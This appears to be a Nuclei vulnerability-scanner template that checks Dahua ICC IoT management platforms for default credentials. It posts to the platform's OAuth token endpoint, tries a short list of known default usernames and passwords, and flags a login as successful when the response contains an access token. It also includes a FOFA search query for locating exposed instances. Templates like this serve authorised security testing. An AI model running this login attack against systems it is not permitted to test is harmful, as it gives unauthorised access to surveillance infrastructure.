dahua-icc-default-login: Dahua ICC Default Login

id: dahua-icc-default-login

info:
  name: Dahua ICC Default Login
  author: DhiyaneshDk
  severity: high
  description: |
    Dahua ICC Intelligent IoT Integrated Management Platform contains default credentials. An attacker can authenticate to the platform using known default username and password combinations and obtain a valid access token.
  reference:
    - https://www.dahuasecurity.com/
  metadata:
    verified: true
    vendor: dahua
    product: icc
    fofa-query: icon_hash="-1935899595" && body="*客户端会小于800*"
  tags: dahua,icc,default-login

http:
  - raw:
      - |
        POST /evo-apigw/evo-oauth/oauth/token HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&password={{password}}&grant_type=password&client_id=web_client&client_secret=web_client&public_key=

    attack: clusterbomb

    payloads:
      username:
        - justForTest
        - system
        - admin

      password:
        - "123456"
        - admin
        - "12345"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"success":'
          - '"access_token":'
          - '"token_type":'
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: dsl
        dsl:
          - username + ":" + password
# digest: 490a0046304402201403513d48aa7ed7ce70d6c03183d2c81b7e24c05212b7fdee6756ecfe758f92022009398fb75df70059f4552ba868c7f460373604f5e040918411c27b36105d21d0:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.